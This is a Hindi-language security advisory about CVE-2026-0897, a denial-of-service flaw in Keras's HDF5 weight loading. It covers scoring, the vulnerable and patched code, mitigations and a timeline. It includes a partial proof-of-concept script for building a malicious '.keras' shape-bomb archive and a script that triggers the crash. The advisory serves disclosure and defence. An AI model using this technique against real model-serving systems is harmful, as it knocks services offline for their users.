CVE-2026-0897 — Google Keras 3.0.0 से 3.13.0 तक के सभी प्लेटफार्मों पर HDF5 वेट लोडिंग घटक में सीमाओं या थ्रॉटलिंग के बिना संसाधनों का आवंटन, एक दूरस्थ हमलावर को एक क्राफ्टेड .keras फ़ाइल के माध्यम से मेमोरी समाप्ति और Python इंटरप्रेटर के क्रैश के जरिए डिनायल ऑफ सर्विस (DoS) उत्पन्न करने की अनुमति देता है। | Kitploit

फ़ाइल	विवरण
`keras/src/saving/file_editor.py`	`KerasFileEditor._extract_weights_from_store()` — HDF5 डेटासेट आकार पढ़ता है और आकार सत्यापन या थ्रॉटलिंग के बिना मेमोरी आवंटित करता है

मीट्रिक	मान	अर्थ
आक्रमण वेक्टर (AV)	नेटवर्क	दूरस्थ रूप से एक वितरित मॉडल फ़ाइल के माध्यम से शोषणीय
आक्रमण जटिलता (AC)	निम्न	कोई विशेष शर्तें या रेस स्थितियाँ आवश्यक नहीं
आक्रमण आवश्यकताएँ (AT)	कोई नहीं	कोई पूर्व-आवश्यक तैनाती कॉन्फ़िगरेशन आवश्यक नहीं
आवश्यक विशेषाधिकार (PR)	कोई नहीं	कोई प्रमाणीकरण या खाता आवश्यक नहीं
उपयोगकर्ता इंटरैक्शन (UI)	निष्क्रिय	पीड़ित को दुर्भावनापूर्ण `.keras` आर्काइव लोड करना होगा
कमजोर सिस्टम उपलब्धता (VA)	उच्च	Python इंटरप्रेटर क्रैश हो जाता है; सेवा पूरी तरह से अनुपलब्ध हो जाती है
कमजोर सिस्टम गोपनीयता (VC)	कोई नहीं	कोई डेटा प्रकटीकरण नहीं
कमजोर सिस्टम अखंडता (VI)	कोई नहीं	कोई डेटा संशोधन नहीं
बाद के सिस्टम पर प्रभाव (SC/SI/SA)	कोई नहीं	प्रभाव लोडिंग प्रक्रिया तक सीमित है

संदर्भ	जोखिम
सार्वजनिक मॉडल सेवा APIs जो उपयोगकर्ता-अपलोड की गई `.keras` फ़ाइलों को स्वीकार करती हैं	हमलावर एकल अनुरोध के साथ अनुमान सेवा को क्रैश कर देता है
सामुदायिक मॉडल डाउनलोड होस्ट करने वाले ML प्लेटफ़ॉर्म (जैसे Hugging Face)	ज़हरीला मॉडल किसी भी शोधकर्ता के लिए DoS का कारण बनता है जो इसे डाउनलोड और लोड करता है
संघीय शिक्षण (Federated Learning) वातावरण	दुर्भावनापूर्ण प्रतिभागी समन्वयक या सहकर्मी नोड्स को क्रैश करने के लिए एक तैयार वज़न फ़ाइल वितरित करता है
CI/CD पाइपलाइनें जो मॉडल चेकपॉइंट लोड करती हैं	एक समझौता या प्रतिस्थापित चेकपॉइंट पाइपलाइन विफलता और अनुपलब्धता का कारण बनता है
चैटबॉट या NLP सेवाएँ जो रनटाइम पर मॉडल को हॉट-रीलोड करती हैं	एकल दुर्भावनापूर्ण रीलोड अनुरोध सेवा को नीचे लाता है

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

संसाधन	लिंक
फ़िक्स पुल रिक्वेस्ट	https://github.com/keras-team/keras/pull/21880
मर्ज कमिट	`7360d4f`
बैकपोर्ट अनुरोध (3.12.x)	Issue #22031

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

कार्रवाई	विवरण
Keras अपग्रेड करें	PR #21880 से फ़िक्स शामिल करने वाले संस्करण (3.13.0 के बाद के master बिल्ड या कोई आधिकारिक पैच रिलीज़) में अपडेट करें
अविश्वसनीय मॉडल फ़ाइलें लोड न करें	पूर्व अखंडता सत्यापन के बिना अविश्वसनीय, असत्यापित या सामुदायिक-स्रोत स्थानों से `.keras` या `.weights.h5` फ़ाइलें कभी न लोड करें
फ़ाइल अखंडता सत्यापित करें	लोड करने से पहले प्रकाशक-प्रदान हैश के विरुद्ध मॉडल आर्काइव के SHA-256 चेकसम को मान्य करें
h5dump से पूर्व-स्कैन करें	Keras में लोड करने से पहले HDF5 फ़ाइलों में डेटासेट आकार मेटाडेटा का निरीक्षण करने के लिए `h5dump --header <file>` का उपयोग करें
न्यूनतम विशेषाधिकार	मॉडल-सेवा प्रक्रियाओं को प्रतिबंधित OS उपयोगकर्ता के अंतर्गत चलाएँ जिसमें cgroups या `ulimit` के माध्यम से मेमोरी सीमाएँ लागू हों ताकि विस्फोट त्रिज्या को सीमित किया जा सके
कंटेनरीकरण	मॉडल लोडिंग को एक सैंडबॉक्स कंटेनर में अलग करें जिसमें मेमोरी सीमाएँ हों ताकि एक क्रैश अन्य सेवाओं को प्रभावित न करे
मेमोरी की निगरानी करें	असामान्य मेमोरी आवंटन पैटर्न पर सतर्क करने के लिए मॉडल लोडिंग ऑपरेशनों को इंस्ट्रूमेंट करें

तारीख	घटना
29 नवंबर, 2025	फ़िक्स PR #21880 HyperPS द्वारा keras-team/keras में प्रस्तुत किया गया
1 दिसंबर, 2025	Keras अनुरक्षक hertschuh संदर्भों का अनुरोध करता है; समीक्षा शुरू होती है
26 दिसंबर, 2025	अनुरक्षक समीक्षा पूर्ण; अंतिम फीडबैक संबोधित किया गया
29 दिसंबर, 2025	PR #21880 अनुमोदित और `keras-team:master` में विलय
15 जनवरी, 2026	CVE-2026-0897 NVD पर प्रकाशित
19 जनवरी, 2026	Keras 3.12.x में बैकपोर्ट अनुरोध खोला गया (Issue #22031)
23 जनवरी, 2026	NVD रिकॉर्ड अंतिम संशोधित

संसाधन	लिंक
NVD प्रविष्टि	https://nvd.nist.gov/vuln/detail/CVE-2026-0897
आधिकारिक CVE रिकॉर्ड	https://cve.org/CVERecord?id=CVE-2026-0897
GitHub सलाहकार (GHSA)	https://github.com/advisories/GHSA-xfhx-r7ww-5995
फ़िक्स पुल रिक्वेस्ट	https://github.com/keras-team/keras/pull/21880
मर्ज कमिट	https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6
बैकपोर्ट अनुरोध	https://github.com/keras-team/keras/issues/22031
PyPI पर Keras	https://pypi.org/project/keras/
CWE-770	https://cwe.mitre.org/data/definitions/770.html
HDF5 प्रारूप दस्तावेज़ीकरण	https://www.hdfgroup.org/solutions/hdf5/

CVE ID	CVE-2026-0897
पैकेज	`keras` (Google Keras)
रजिस्ट्री	PyPI
प्रभावित संस्करण	`3.0.0` से `3.13.0` (सम्मिलित)
भेद्यता प्रकार	CWE-770: सीमा या थ्रॉटलिंग के बिना संसाधनों का आवंटन
CVSS स्कोर	7.1 उच्च (CVSS 4.0, CNA: Google Inc.)
CVSS वेक्टर	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
आक्रमण वेक्टर	नेटवर्क
आक्रमण जटिलता	निम्न
आवश्यक विशेषाधिकार	कोई नहीं
उपयोगकर्ता इंटरैक्शन	निष्क्रिय (पीड़ित एक मॉडल फ़ाइल लोड करता है)
उपलब्धता पर प्रभाव	उच्च
गोपनीयता पर प्रभाव	कोई नहीं
अखंडता पर प्रभाव	कोई नहीं
NVD प्रकाशित	15 जनवरी, 2026
NVD अंतिम संशोधित	23 जनवरी, 2026
स्रोत / CNA	Google Inc.
रिपोर्टकर्ता	HyperPS (Sarvesh Patil) via huntr.dev / GHSA
फ़िक्स स्थिति	विलय — PR #21880

CVE-2026-0897

सबसे लोकप्रिय

विवरण

विवरण

प्रभावित घटक

CVSS 4.0 वेक्टर विश्लेषण

प्रभाव

उच्च-जोखिम तैनाती संदर्भ

तकनीकी विवरण

आक्रमण तंत्र: HDF5 Shape Bomb

कमजोर कोड पथ (फ़िक्स से पहले)

प्रूफ ऑफ कॉन्सेप्ट

एक दुर्भावनापूर्ण `.keras` आर्काइव बनाना

DoS को ट्रिगर करना

फ़िक्स

फ़िक्स क्या लागू करता है

पैच (सरलीकृत उदाहरण)

निवारण

समयरेखा

संदर्भ

अस्वीकरण

CVE-2026-0897

सबसे लोकप्रिय

विवरण

CVE-2026-0897 — Google Keras: HDF5 Shape Bomb के माध्यम से सेवा अस्वीकार (Denial of Service)

अवलोकन

विवरण

प्रभावित घटक

CVSS 4.0 वेक्टर विश्लेषण

प्रभाव

उच्च-जोखिम तैनाती संदर्भ

तकनीकी विवरण

आक्रमण तंत्र: HDF5 Shape Bomb

कमजोर कोड पथ (फ़िक्स से पहले)

प्रूफ ऑफ कॉन्सेप्ट

एक दुर्भावनापूर्ण .keras आर्काइव बनाना

DoS को ट्रिगर करना

फ़िक्स

फ़िक्स क्या लागू करता है

पैच (सरलीकृत उदाहरण)

निवारण

समयरेखा

संदर्भ

अस्वीकरण

एक दुर्भावनापूर्ण `.keras` आर्काइव बनाना